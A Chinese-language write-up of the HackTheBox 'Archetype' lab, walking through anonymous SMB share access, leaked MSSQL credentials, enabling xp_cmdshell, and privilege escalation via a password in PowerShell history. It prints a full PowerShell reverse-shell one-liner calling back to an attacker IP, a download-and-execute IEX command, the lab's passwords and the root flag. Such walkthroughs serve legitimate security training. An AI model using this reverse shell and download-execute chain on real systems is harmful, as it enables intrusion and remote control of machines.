0x01端口扫描
1. 目标:10.10.10.27
2. 连接上ovpn后,开始对目标进行扫描端口,使用namp 10.10.10.27扫描获取服务和版本
3. 我们可以知道开放了135,139,445端口,系统版本是windows2008。刚刚开始做这个靶场时候看到445我就想到了永恒之蓝漏洞,用msf漏洞利用后,我还是太天真了。
4. 我们可以测试445端口的smb是否支持匿名访问,可能默认开启允许所有人无需身份验证就可以访问共享资源。我们使用
smbclient -N -L //10.10.10.27/
进行匿名登录并且获取共享资源。
在共享资源列表里发现了一个backups的目录,我们访问一下,然后dir查看目录,发现有个文件,我们get到本地。
我们cat查看一下
发现是一个包含本地windows用户的凭据,user ID=ARCHETYPEsql_svc,Password=M3g4c0rp123,其中ARCHETYPE是主机名,而sql_svc代表的是具有数据库登录权限的操作系统的用户名,这时候我们就可以连接靶机的数据库进行连接了。
0x02连接数据库并调用系统命令
1.我们下载并安装impacket工具
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
pip3 install .
2. 然后进行连接数据库,这时候需要输入密码,把刚刚获取到的Password写上去进行连接。
cd examples
mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth
然后输入
SELECT IS_SRVROLEMEMBER('sysadmin')
来判断是否有sysadmin权限,如显示1就是有,我们就可以使用xp_cmdshell来进行远程代码执行命令。
3. 输入命令:
EXEC sp_configure 'Show Advanced Options', 1; \使用sp_configure系统存储过程,设置服务器配置选项,将Show Advanced Options设置为1时,允许修改数据库的高级配置选项
reconfigure; \确认上面的操作
sp_configure; \查看当前sp_configure配置情况
EXEC sp_configure 'xp_cmdshell', 1\使用sp_configure系存储过程,启用xp_cmdshell参数,来允许SQL Server调用操作系统命令
reconfigure; \确认上面的操作
xp_cmdshell "whoami" \在靶机上调用cmdshell执行whoami
这就说明当前数据库的进程的操作系统的用户是archetypesql_svc
0x03获取普通用户权限
我们现在已经拥有了数据库的shell权限,这时候可以建立powershell反向shell文件,写完后放入/var/www/html上,我们建立一个web服务可供靶机下载shell文件:
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.158",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
注意ip地址改为kali的主机地址10.10.14.158,端口设定为443
然后开启80监听以及443监听,等待靶机反向连接shell文件
回到数据库shell中,输入命令下载shell并执行:
xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString("http://10.10.14.158/shell.ps");"
发现已经成功接受到请求,此时使用ipconfig可以查看到主机IP地址等信息
在一通乱找之后发现flag在C:Userssql_svcDesktopuser.txt文件上,使用type访问。
0x04进一步提升权限
我们可以发现sql_svc同时是操作系统普通用户和数据库用户,可以去查找频繁访问的文件和执行的命令,输入命令访问powreshell历史记录文件
type C:Userssql_svcAppDataRoamingMicrosoftWindowsPowerShellPSReadlineConsoleHost_history.txt
我们可以看到它把backups文件映射到了T盘,后面跟上它的管理员用户名以及密码,所以我们可以使用刚刚下载的impacket工具去提权限,输入密码MEGACORP_4dm1n!!
然后找了一通后看桌面上有个root.txt,type查看一下,flag就是b91ccec3305e98240082d4474b848528
提交成功!
本文始发于微信公众号(暗魂攻防实验室):【渗透测试】hackthebox靶场之Archetype
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论